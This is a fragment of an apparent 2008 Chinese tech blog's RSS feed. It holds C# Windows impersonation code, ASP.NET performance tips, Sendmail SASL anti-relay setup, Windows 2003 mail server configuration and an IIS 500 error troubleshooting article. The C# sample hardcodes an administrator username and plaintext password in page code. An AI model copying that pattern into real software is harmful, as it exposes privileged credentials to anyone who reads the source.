/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;dwLogonProvider,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ref&nbsp;IntPtr&nbsp;phToken);&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[DllImport(&quot;advapi32.dll&quot;,&nbsp;CharSet&nbsp;=&nbsp;CharSet.Auto,&nbsp;SetLastError&nbsp;=&nbsp;true)]&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;extern&nbsp;static&nbsp;int&nbsp;DuplicateToken(IntPtr&nbsp;hToken,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;impersonationLevel,&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ref&nbsp;IntPtr&nbsp;hNewToken);&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;bool&nbsp;impersonateValidUser(String&nbsp;userName,&nbsp;String&nbsp;domain,&nbsp;String&nbsp;password)&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IntPtr&nbsp;token&nbsp;=&nbsp;IntPtr.Zero;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IntPtr&nbsp;tokenDuplicate&nbsp;=&nbsp;IntPtr.Zero;&nbsp;&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(LogonUser(userName,&nbsp;domain,&nbsp;password,&nbsp;LOGON32_LOGON_INTERACTIVE,&nbsp;LOGON32_PROVIDER_DEFAULT,&nbsp;ref&nbsp;token)&nbsp;!=&nbsp;0)&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(DuplicateToken(token,&nbsp;2,&nbsp;ref&nbsp;tokenDuplicate)&nbsp;!=&nbsp;0)&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WindowsIdentity&nbsp;tempWindowsIdentity;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tempWindowsIdentity&nbsp;=&nbsp;new&nbsp;WindowsIdentity(tokenDuplicate);&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;impersonationContext&nbsp;=&nbsp;tempWindowsIdentity.Impersonate();&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(impersonationContext&nbsp;!=&nbsp;null)&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;void&nbsp;undoImpersonation()&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;impersonationContext.Undo();//回退为未更改前账户&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;void&nbsp;Page_Load(object&nbsp;sender,&nbsp;EventArgs&nbsp;e)&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//临时更改为&nbsp;跟&nbsp;网络硬盘相同用户名密码的账户（此账户必须在网络盘有写入权限）本机也需要同样帐号密码的帐户&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(impersonateValidUser(&quot;administrator&quot;,&nbsp;&quot;192.168.1.102&quot;,&nbsp;&quot;kuqu123456&quot;))&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(System.IO.File.Exists(@&quot;\\192.168.1.102\share\C＃高级编程\C＃高级编程（第四版）.pdf&quot;));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;undoImpersonation();&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(&quot;登陆失败&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; <br />}&nbsp;&nbsp; <br /><br />&nbsp;∆&nbsp;第三招，各种缓存。【凶狠度排名第三：性能RPS提升1个数量级（提高速度十倍级别）】&nbsp; <br /><br />缓存代码好找，就不写了，道理不用多讲。&nbsp; <br /><br /><br />&nbsp;∆&nbsp;第四招，减少数据库往返。【凶狠度排名第四：性能RPS提升和往返次数有关】&nbsp; <br />能一次取的数据，就不要多次，尤其在绑定的行里多次执行存储过程。&nbsp; <br /><br />&nbsp;∆&nbsp;第五招，少用对象。【凶狠度排名第五：性能RPS提升取决于对象数量】&nbsp; <br /><br />用Static函数执行SQL，绑定数据或者增删查改,来代替&nbsp;new一堆对象去绑定List或者设置属性。&nbsp; <br /><br />∆&nbsp;第六招，多用Ajax和客户端HTML代码，少用服务器控件，减少刷新和ViewState。【凶狠度排名第六：性能RPS提升取决于具体界面功能】&nbsp; <br />&nbsp;&nbsp; <br />道理不用多讲，服务器控件垃圾比较多。&nbsp; <br /><br />∆&nbsp;第七招，采用好的数据结构容器和算法。。【凶狠度排名第七：性能提升取决于算法复杂度，普通Web开发这种情况不多见，但是特殊开发要重视！~~】&nbsp; <br />哈希类性能最好，查找复杂度是O(1),例如:Dictionnary&nbsp; &lt;T,T&gt;,&nbsp; <br />二叉树查找复杂度是O(Log&nbsp;n),排序O(n*Log&nbsp;n),List和ArraList自带的排序速度是接近(n*Log&nbsp;n),&nbsp; <br />数组类的线性查找O(n),如果你用冒泡排序O(n*n)，那么你不是优秀程序员。&nbsp; <br />StringBuilder&nbsp;性能好于&nbsp;string+=,不过提升的有限，不是本质的数量级别的提升。&nbsp; <br /><br />其他招数，欢迎补充排名。&nbsp;]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/05/24/878.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=878</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=878&amp;key=984c71b1</trackback:ping></item><item><title>如何防止邮件服务器被滥用</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/860.html</link><pubDate>Sun, 17 Feb 2008 21:51:20 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/860.html</guid><description><![CDATA[　　邮件服务器在Internet上扮演着一个非常重要的角色。SMTP（简单邮件传输协议）是Internet上计算机之间传送电子邮件所普遍采用的协议，Sendmail是构成邮件服务器的Unix系统中使用极为广泛的一种邮件传输代理程序，它遵循SMTP协议，提供了很强大的邮件服务功能，可以承载高达数万个用户的电子邮件通信服务。 <br /><br /><script id="ad_text_pcedu" src="如何防止邮件服务器被滥用.files/ad_text_pcedu.js" defer="defer" type="text/javascript"></script>　　美中不足的是，Sendmail在为用户发送邮件时，并不对用户进行身份认证，这就给一些广告邮件或垃圾邮件的制造者提供了机会──任何人只要想发信，就可以利用任何一台没有带认证功能而又对其&ldquo;open relay&rdquo;的Sendmail邮件服务器，为其发送大量的垃圾或广告信件。虽然Sendmail 8.9.3以上的版本提供了一些限制邮件转发的功能，可以在某种程度上限制这种情况的发生，但它只能根据静态的IP地址、邮件地址或域名来进行限制，这使得合法用户只能在固定的IP地址范围内使用邮件服务器，否则将会被拒绝。这样就给用户带来了使用上的不方便，例如用户下班回家或是出差在外，都无法使用工作单位的邮件服务器发信，学生放假离开学校也不能使用学校的邮件服务器发出信件。但是如果设定邮件服务器为open relay模式，又怕造成服务器转发功能被滥用。这是个很矛盾的问题，长期困扰着邮件服务器的管理员。 <br /><br />　　为了不让自己的邮件成为垃圾邮件的中转站而被外面的邮件服务器拒绝，以往许多邮件服务器的管理员大都只能选择限制mail relay的模式。现在好了，随着Sendmail软件版本的不断更新，新的功能也随之出现。使用新版本的Sendmail 8.12.5邮件服务器软件，再搭配Cyrus-SASL（Simple Authentication and Security Layer）身份认证程序库，就可以解决对邮件用户进行身份认证的问题。服务器有了认证功能后，任何人想通过邮件服务器发送信件时都得先输入用户名和密码进行身份认证。 <br /><br />　　下面就给大家详尽解释一下如何编译、安装Cyrus-SASL程序库和Sendmail 8.12.5软件使邮件系统支持SASL的SMTP认证功能。 <br /><br />　　一．环境 <br /><br />　　操作系统平台：Solaris 2.7 或 Linux 6.2 或更高<br /><br />　　使用软件：Cyrus-SASL 1.5.27和Sendmail 8.12.5 <br /><br />　　二．编译、安装Cyrus-SASL程序库： <br /><br />　　1．下载：ftp://ftp.andrew.cmu.edu/pub/cyrus-mai/cyrus-sasl-1.5.27.tar.gz <br /><br />　　2．解包： <br /><br />　　tar xvfz cyrus-sasl-1.5.27.tar.gz<br /><br />　　3．编译、安装： <br /><br />　　进入cyrus-sasl-1.5.27目录： <br /><br />　　#cd cyrus-sasl-1.5.27<br />　　编译配置： <br /><br />　　#./configure --enable-login --enable-plain<br /><br />　　这里由于SASL库缺省状态下并不支持某些客户端软件的使用方式，所以要在生成配置文件时特别加入一些功能选项。具体要加什么可以用命令查看： <br /><br />　　#./configure -help <br /><br />　　如加&ldquo;--enable-login&rdquo;是因为Outlook Expresss使用LOGIN的认证方法，SASL库缺省并不支持这种方式，所以要在生成配置文件时特别加入。 <br /><br />　　另外，缺省情况下，所有的库函数是安装到&ldquo;/usr/local/lib&rdquo;目录下，但Sendmail使用的库函数是在目录&ldquo;/usr/lib&rdquo;中的，所以需要做一些修改。在运行configure脚本前，修改其中的缺省路径就可以了。方法是打开configure文件找到下面这一行： <br /><br />　　ac_default_prefix=/usr/local<br /><br />　　改为： <br /><br />　　ac_default_prefix=/usr<br /><br />　　编译： <br />　　#make<br /><br />　　安装：<br />　　#make install<br /><br />　　到这里SASL库就安装好了（注意在整个编译安装的过程中都不能有任何错误警告显示才行）。 <br /><br />　　接着必须设置Sendmail的使用者身份验证方式，因为这里要使用的是系统账号与密码来进行验证，所以要在&ldquo;/usr/lib/Sendmail.conf&rdquo;文件中指明： <br /><br />　　#cd /usr/lib/sasl/<br />　　#cat &gt; Sendmail.conf<br />　　pwcheck_method: shadow<br />　　^d<br />]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/860.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=860</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=860&amp;key=33e87345</trackback:ping></item><item><title>用server2003建立小型邮件服务器</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/859.html</link><pubDate>Sun, 17 Feb 2008 21:40:06 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/859.html</guid><description><![CDATA[<span class="blackcontent">　　自从Windows 2003 Server发布以来，就引起了很多IT人事的争议。它增加了很多新的功能，今天我就针对WINDOWS 2003自带的POP3服务和大家交流一下。<p>&nbsp;</p><p>　　要是大家稍微对微软产品熟悉的话，就应该知道，在以前的MICROSOFT服务器平台中，只有一个SMTP服务，主要用来发邮件的，而收邮件的服务是没有的，要是想用WINDOWS来做邮件服务器，必须借助其他的软件来做，其中微软自身的产品中就有一款Exchange软件是用来做邮件，文档转发，通讯服务器的。所含有的功能非常强大。但要是用过Exchange软件的人士应该知道，Exchange软件安装，调试起来非常复杂，并极度消耗系统资源。要想在一台普通PC上运行Exchange软件那是很困难的。（在Windows Server上装Exchange软件时，必须要把Windows Server系列升成域或活动目录模式才可以进行安装）现在Windows 2003 Server发布以后，为大家提供了一个方便，小巧的邮件服务器环境，解决了一些不想在服务器上进行投资而又想拥有自己的邮件服务器的单位和个人用户。从而为更多的用户在使用邮件服务软件上又多一种选择。</p><p>　　现在我们就开始配置Windows 2003上的小型邮件服务器。首先我们先装好Windows Server 2003 Enterprise Edition系统，(估计CPU在800MHz左右，内存在128MB左右，硬盘不小于2G的情况下，就可以比较流畅的使用2003系统了)注意，在默认安装的情况下，POP3和SMTP服务是不会被安装的，等系统安装完后。大家可以从&quot;开始&rarr;控制面板&rarr;添加或删除程序&rarr;添加/删除Windows组件&quot;中安装POP3和SMTP服务，POP3在&quot;Windows组件面板&quot;中的&quot;电子邮件服务&quot;选项中，最好把&quot;电子邮件服务&quot;选项一起选。SMTP在&quot;Windows组件面板&quot;中的&quot;应用程序服务器&quot;的&quot;Internet信息服务(IIS)&quot;选项中。选好后点击&quot;下一步&quot;， Windows 2003就开始安装这两个服务，装好后，建议最好重启一下计算机。（还有一种新的方法，也是Windows 2003的一个新变化了。我们可以在开始&rarr;管理工具&rarr;管理您的服务器,单击添加或删除角色，这样就会打开&quot;配置您的服务器向导&quot;。我们可以选择想添加的服务器角色进行配置。很方便的功能）</p><p>　　点击：&quot;开始&rarr;管理工具&rarr;POP3服务&quot;打开POP3服务配置窗口。如图：</p><p>&nbsp;</p><p>在左边窗口中的POP3服务下显示的是本机名称。选中它后如图：</p><p><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-2.jpg" border="0" alt="" /></td>        </tr>    </tbody></table></p><p>　　大家可以看到在右边的窗中有4个连接按钮，我们先建立一个新域，所谓的新域就是指邮件的后缀地址，如mail@sina.com这个电子邮件地址，其中sina.com就是域。点击新域按钮，在弹出的对话框中输入你想建立的邮件后缀（注：我们这里讲的是内部网的环境下使用。但设置方法和在Internet上设置方法相同。如果你想在Internet上也能收发你建立的电子邮件，必须在Internet有上自己注册的域名，并且域名在DNS中做过MX邮件交换设置。）如图：</p><p><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-3.jpg" border="0" alt="" /></td>        </tr>    </tbody></table></p><p>　确定后，就会在&quot;POP3服务&quot;右边的窗口中生成一个新的域，选中这个你新建的域，单击鼠标右键，在弹出的菜单中选择&quot;新建&rarr;邮箱&quot;。在弹出的对话框中输入你想要新建的邮箱地址和密码。如图：</p><p><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-4.jpg" border="0" alt="" /></td>        </tr>    </tbody></table></p><p>　　点击确定。你就可是看见邮箱建立成功的提示框，关闭后。双击你建立的域，就能看见刚才你建立的那个邮箱了！为了测试。我在这里建立了test1和test2两个邮箱。如图：</p><p><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-5.jpg" border="0" alt="" /></td>        </tr>    </tbody></table></p><p>　　当然，你也可以选中一个邮箱，点旁边的锁定邮箱按钮，使这个邮箱暂时不可用，或点删除邮箱按钮，删除你建立的邮箱。</p><p>　　好！一个邮件服务器已经做好了POP3服务了！现在就剩下SMTP服务了。单击&quot;开始&rarr;管理工具&rarr;Internet信息服务(IIS)管理器&quot;在弹出的窗口中选择&quot;默认SMTP虚拟服务器&quot;单击鼠标右键，在弹出的菜单中选择属性。如图：</p><p><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-6.jpg" border="0" alt="" /></td>        </tr>    </tbody></table></p><p>　　在常规选项卡的IP地址栏中的选中你要为SMTP绑定的的IP。确定退出！OK！一个简单的电子邮件服务器就搞定了！大家可以找两台计算机用OutLook进行测试一下，由于DNS没有做解析~所以大家在使用OutLook时，在SMTP和POP地址栏中请输入做电子邮件服务器的IP地址。</p><p>　　怎么样！简单吧~呵呵~~配置简单，功能也简单。（：</p></span><table cellspacing="5" cellpadding="0" align="center" border="0">    <tbody>        <tr>            <td><img src="mk:@MSITStore:D:\桌面\网管应用文萃%20盛夏版.chm::/用server2003建立小型邮件服务器.files/3851-1.jpg" border="0" alt="" /></td>        </tr>    </tbody></table>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/17/859.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=859</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=859&amp;key=69c0e919</trackback:ping></item><item><title>关于IIS突然不支持ASP，只支持HTML的解决方案</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/14/857.html</link><pubDate>Thu, 14 Feb 2008 22:07:46 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/14/857.html</guid><description><![CDATA[<p>&nbsp;<br />一.错误表现 </p><p>iis5的http <br />500内部服务器错误是我们经常碰到的错误之一，它的主要错误表现就是asp程序不能浏览但htm静态网页不受影响。另外当错误发生时，系统事件日志和安全事件日志都会有相应的记录。 </p><p>具体如下： </p><p>(一)ie中的表现 </p><p>当浏览以前能够正常运行的asp页面时会出现如下的错误: </p><p>网页无法显示 <br />您要访问的网页存在问题，因此无法显示。 <br />请尝试下列操作： </p><p>打开 <a href="http://127.0.0.1/">http://127.0.0.1/</a> 主页，寻找指向所需信息的链接。 <br />单击刷新按钮，或者以后重试。 </p><p>http 500 - 内部服务器错误 <br />internet 信息服务 </p><p>技术信息（支持个人） </p><p>详细信息： <br />microsoft 支持 </p><p>或者是: <br />server application error <br />the server has encountered an error while loading an application <br />during the processing of your request. please refer to the event log <br />for more detail information. please contact the server administrator <br />for assistance. </p><p>(二)安全日志记录(2条) <br />事件类型: 失败审核 <br />事件来源: security <br />事件种类: 登录/注销 <br />事件 id: 529 <br />日期: 2001-9-9 <br />事件: 11:17:07 <br />用户: nt authority\system <br />计算机: myserver <br />描述: <br />登录失败: <br />原因: 用户名未知或密码错误 <br />用户名: iwam_myserver <br />域: mydom <br />登录类型: 4 <br />登录过程: advapi <br />身份验证程序包: microsoft_authentication_package_v1_0 <br />工作站名: myserver <br />事件类型: 失败审核 <br />事件来源: security <br />事件种类: 帐户登录 <br />事件 id: 681 <br />日期: 2001-9-9 <br />事件: 11:17:07 <br />用户: nt authority\system <br />计算机: myserver <br />描述: <br />登录到帐户: iwam_myserver <br />登录的用户: microsoft_authentication_package_v1_0 <br />从工作站: myserver <br />未成功。错误代码是: 3221225578 <br />(三)系统日志中的记录(2条) <br />事件类型: 错误 <br />事件来源: dcom <br />事件种类: 无 <br />事件 id: 10004 <br />日期: 2001-9-9 <br />事件: 11:20:26 <br />用户: n/a <br />计算机: myserver <br />描述: <br />dcom 遇到错误&ldquo;无法更新密码。提供给新密码的值包含密码中不允许的值。 &rdquo;并且无法登录到 .\iwam_myserver <br />上以运行服务器: <br />3d14228d-fbe1-11d0-995d-00c04fd919c1} </p><p>事件类型: 警告 <br />事件来源: w3svc <br />事件种类: 无 <br />事件 id: 36 <br />日期: 2001-9-9 <br />事件: 11:20:26 <br />用户: n/a <br />计算机: myserver <br />描述: <br />服务器未能转入应用程序 &lsquo;/lm/w3svc/4/root&lsquo;。错误是 &lsquo;runas 的格式必须是&lt;域名&gt;\&lt;用户名&gt;或只是&lt;用户名&gt;&lsquo;。 </p><p>若要获取关于此消息的更多的信息，请访问 microsoft 联机支持站点: <br /><a href="http://www.microsoft.com/contentredirect.asp">http://www.microsoft.com/contentredirect.asp</a> 。 <br />二.原因分析 <br />综合分析上面的错误表现我们可以看出，主要是由于iwam账号（在我的计算机即是iwam_myserver账号）的密码错误造成了http <br />500内部错误。 </p><p>在详细分析http500内部错误产生的原因之前，先对iwam账号进行一下简要的介绍：iwam账号是安装iis5时系统自动建立的一个内置账号，主要用于启动进程之外的应用程序的internet信息服务。iwam账号的名字会根据每台计算机netbios名字的不同而有所不同，通用的格式是iwam_machine，即由&ldquo;iwam&rdquo;前缀、连接线&ldquo;_&rdquo;加上计算机的netbios名字组成。我的计算机的netbios名字是myserver，因此我的计算机上iwam账号的名字就是iwam_myserver，这一点与iis匿名账号isur_machine的命名方式非常相似。 </p><p><br />iwam账号建立后被active directory、iis <br />metabase数据库和com+应用程序三方共同使用，账号密码被三方分别保存，并由操作系统负责这三方保存的iwam密码的同步工作。按常理说，由操作系统负责的工作我们大可放心，不必担心出错，但不知是bug还是其它什么原因，系统的对iwam账号的密码同步工作有时会失败，使三方iwam账号所用密码不统一。当iis或com+应用程序使用错误iwam的密码登录系统，启动iis <br />out-of-process pooled applications时，系统会因密码错误而拒绝这一请求，导致iis <br />out-of-process pooled applications启动失败，也就是我们在id10004错误事件中看到的&ldquo;不能运行服务器 <br />3d14228d-fbe1-11d0-995d-00c04fd919c1} &rdquo;（这里 <br />3d14228d-fbe1-11d0-995d-00c04fd919c1} 是iis out-of-process pooled <br />applications的key），不能转入iis5应用程序，http 500内部错误就这样产生了。 <br />三.解决办法 </p><p>知道了导致http 500内部错误的原因，解决起来就比较简单了，那就是人工同步iwam账号在active directory、iis <br />metabase数据库和com+应用程序中的密码。 <br />具体操作分三步,均需要以管理员身份登录计算机以提供足够的操作权限（iwam账号以iwam_myserver为例）。 </p><p>（一）更改active directory中iwam_myserver账号的密码 <br 